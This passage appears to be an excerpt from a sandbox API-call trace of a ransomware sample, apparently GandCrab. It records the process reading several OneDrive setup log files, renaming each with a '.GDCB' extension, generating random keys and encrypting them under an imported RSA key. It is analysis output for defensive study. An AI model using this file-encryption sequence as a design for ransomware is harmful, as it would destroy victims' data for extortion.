Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\Install-PerUser_2017-07-12_164141_b14-7f0.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\install-peruser_2017-07-12_164141_b14-7f0.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x528 [0219.876] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7520000 [0219.877] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7530000 [0219.879] ReadFile (in: hFile=0x528, lpBuffer=0x7530000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x7530000*, lpNumberOfBytesRead=0x285d670*=0x8d2d4, lpOverlapped=0x0) returned 1 [0219.977] VirtualAlloc (lpAddress=0x0, dwSize=0x8d2e0, flAllocationType=0x3000, flProtect=0x4) returned 0x7640000 [0219.995] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\Install-PerUser_2017-07-12_164141_b14-7f0.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\install-peruser_2017-07-12_164141_b14-7f0.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\Install-PerUser_2017-07-12_164141_b14-7f0.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\install-peruser_2017-07-12_164141_b14-7f0.log.gdcb")) returned 1 [0219.998] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0220.000] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0220.001] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0220.001] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0220.001] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0220.001] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0220.003] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0220.004] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0220.004] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0220.004] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0220.004] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0220.006] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6484a80) returned 1 [0220.006] CryptGetKeyParam (in: hKey=0x6484a80, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0220.006] CryptEncrypt (in: hKey=0x6484a80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7500000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7500000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0220.006] GetLastError () returned 0x0 [0220.006] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0220.006] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0220.008] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6484ac0) returned 1 [0220.008] CryptGetKeyParam (in: hKey=0x6484ac0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0220.008] CryptEncrypt (in: hKey=0x6484ac0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7510000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7510000*, pdwDataLen=0x285d630*=0x100) returned 1 [0220.008] GetLastError () returned 0x0 [0220.008] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0220.008] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\Install-PerUser_2017-11-10_161058_b2c-b34.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\install-peruser_2017-11-10_161058_b2c-b34.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x528 [0220.010] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7520000 [0220.011] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7530000 [0220.012] ReadFile (in: hFile=0x528, lpBuffer=0x7530000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x7530000*, lpNumberOfBytesRead=0x285d670*=0x941fc, lpOverlapped=0x0) returned 1 [0220.179] VirtualAlloc (lpAddress=0x0, dwSize=0x94200, flAllocationType=0x3000, flProtect=0x4) returned 0x7640000 [0220.200] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\Install-PerUser_2017-11-10_161058_b2c-b34.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\install-peruser_2017-11-10_161058_b2c-b34.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\Install-PerUser_2017-11-10_161058_b2c-b34.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\install-peruser_2017-11-10_161058_b2c-b34.log.gdcb")) returned 1 [0220.203] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0220.205] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0220.206] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0220.206] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0220.206] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0220.207] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0220.208] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0220.209] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0220.209] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0220.209] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0220.210] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4980) returned 1 [0220.212] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6484c00) returned 1 [0220.212] CryptGetKeyParam (in: hKey=0x6484c00, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0220.212] CryptEncrypt (in: hKey=0x6484c00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7500000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7500000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0220.212] GetLastError () returned 0x0 [0220.212] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0220.212] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0220.214] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6484d80) returned 1 [0220.214] CryptGetKeyParam (in: hKey=0x6484d80, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0220.214] CryptEncrypt (in: hKey=0x6484d80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7510000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7510000*, pdwDataLen=0x285d630*=0x100) returned 1 [0220.214] GetLastError () returned 0x0 [0220.214] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0220.214] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\Install_2017-05-24_104600_528-57c.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\install_2017-05-24_104600_528-57c.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x528 [0220.216] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7520000 [0220.218] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7530000 [0220.219] ReadFile (in: hFile=0x528, lpBuffer=0x7530000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x7530000*, lpNumberOfBytesRead=0x285d670*=0x17100, lpOverlapped=0x0) returned 1 [0220.224] VirtualAlloc (lpAddress=0x0, dwSize=0x17100, flAllocationType=0x3000, flProtect=0x4) returned 0x7640000 [0220.231] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\Install_2017-05-24_104600_528-57c.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\install_2017-05-24_104600_528-57c.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\Install_2017-05-24_104600_528-57c.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\install_2017-05-24_104600_528-57c.log.gdcb")) returned 1 [0220.235] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0220.237] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0220.238] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0220.238] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0220.238] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0220.238] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0220.239] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0220.240] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0220.240] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0220.240] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0220.240] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0220.243] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6484e00) returned 1 [0220.243] CryptGetKeyParam (in: hKey=0x6484e00, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0220.243] CryptEncrypt (in: hKey=0x6484e00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7500000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7500000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0220.243] GetLastError () returned 0x0 [0220.243] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0220.243] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0220.245] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6484b00) returned 1 [0220.245] CryptGetKeyParam (in: hKey=0x6484b00, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0220.245] CryptEncrypt (in: hKey=0x6484b00, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7510000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7510000*, pdwDataLen=0x285d630*=0x100) returned 1 [0220.245] GetLastError () returned 0x0 [0220.245] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0220.245] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\Install_2017-07-12_164138_904-4d0.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\install_2017-07-12_164138_904-4d0.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x528 [0220.247] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7520000 [0220.249] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7530000 [0220.250] ReadFile (in: hFile=0x528, lpBuffer=0x7530000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x7530000*, lpNumberOfBytesRead=0x285d670*=0x1bab0, lpOverlapped=0x0) returned 1 [0220.258] VirtualAlloc (lpAddress=0x0, dwSize=0x1bab0, flAllocationType=0x3000, flProtect=0x4) returned 0x7640000 [0220.265] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\Install_2017-07-12_164138_904-4d0.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\install_2017-07-12_164138_904-4d0.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\Install_2017-07-12_164138_904-4d0.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\install_2017-07-12_164138_904-4d0.log.gdcb")) returned 1 [0220.269] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4980) returned 1 [0220.271] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0220.272] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0220.272] CryptGenRandom (in: hProv=0x5c4980, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0220.272] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0220.272] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4e48) returned 1 [0220.273] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0220.274] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0220.274] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0220.274] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0220.275] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0220.277] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6484f40) returned 1 [0220.277] CryptGetKeyParam (in: hKey=0x6484f40, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0220.277] CryptEncrypt (in: hKey=0x6484f40, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7500000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7500000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0220.277] GetLastError () returned 0x0 [0220.277] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0220.277] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0220.279] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6485040) returned 1 [0220.279] CryptGetKeyParam (in: hKey=0x6485040, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0220.279] CryptEncrypt (in: hKey=0x6485040, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7510000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7510000*, pdwDataLen=0x285d630*=0x100) returned 1 [0220.279] GetLastError () returned 0x0 [0220.279] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0220.279] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\Install_2017-11-10_161055_b54-c0c.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\install_2017-11-10_161055_b54-c0c.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x528 [0220.281] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7520000 [0220.282] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7530000 [0220.283] ReadFile (in: hFile=0x528, lpBuffer=0x7530000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285d670, lpOverlapped=0x0 | out: lpBuffer=0x7530000*, lpNumberOfBytesRead=0x285d670*=0x1d4c0, lpOverlapped=0x0) returned 1 [0220.291] VirtualAlloc (lpAddress=0x0, dwSize=0x1d4c0, flAllocationType=0x3000, flProtect=0x4) returned 0x7640000 [0220.299] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\Install_2017-11-10_161055_b54-c0c.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\install_2017-11-10_161055_b54-c0c.log"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\Install_2017-11-10_161055_b54-c0c.log.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\install_2017-11-10_161055_b54-c0c.log.gdcb")) returned 1 [0220.302] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0220.304] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0220.305] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0220.305] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285d614 | out: pbBuffer=0x285d614) returned 1 [0220.305] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0220.305] CryptAcquireContextW (in: phProv=0x285d4c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285d4c4*=0x5c4760) returned 1 [0220.306] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0220.307] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0220.307] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285d5e0 | out: pbBuffer=0x285d5e0) returned 1 [0220.307] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0220.308] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4e48) returned 1 [0220.310] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6484b80) returned 1 [0220.310] CryptGetKeyParam (in: hKey=0x6484b80, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0220.310] CryptEncrypt (in: hKey=0x6484b80, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7500000*, pdwDataLen=0x285d62c*=0xc8, dwBufLen=0x800 | out: pbData=0x7500000*, pdwDataLen=0x285d62c*=0x100) returned 1 [0220.310] GetLastError () returned 0x0 [0220.310] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0220.310] CryptAcquireContextW (in: phProv=0x285d4b4, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285d4b4*=0x5c4760) returned 1 [0220.312] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285d4b8 | out: phKey=0x285d4b8*=0x6484bc0) returned 1 [0220.312] CryptGetKeyParam (in: hKey=0x6484bc0, dwParam=0x8, pbData=0x285d4a4, pdwDataLen=0x285d4ac, dwFlags=0x0 | out: pbData=0x285d4a4*=0x800, pdwDataLen=0x285d4ac*=0x4) returned 1 [0220.312] CryptEncrypt (in: hKey=0x6484bc0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x7510000*, pdwDataLen=0x285d630*=0xc8, dwBufLen=0x800 | out: pbData=0x7510000*, pdwDataLen=0x285d630*=0x100) returned 1 [0220.312] GetLastError () returned 0x0 [0220.312] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0220.312] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Microsoft\\OneDrive\\setup\\logs\\StandaloneUpdate_2017-07-12_164130_2e0-2c8.log" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\application data\\application data\\microsoft\\onedrive\\setup\\logs\\standaloneupdate_2017-07-12_164130_2e0-2c8.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x528 [0220.314] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0x7520000 [0220.315] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0x7530000 [0220.316] ReadFile (in: 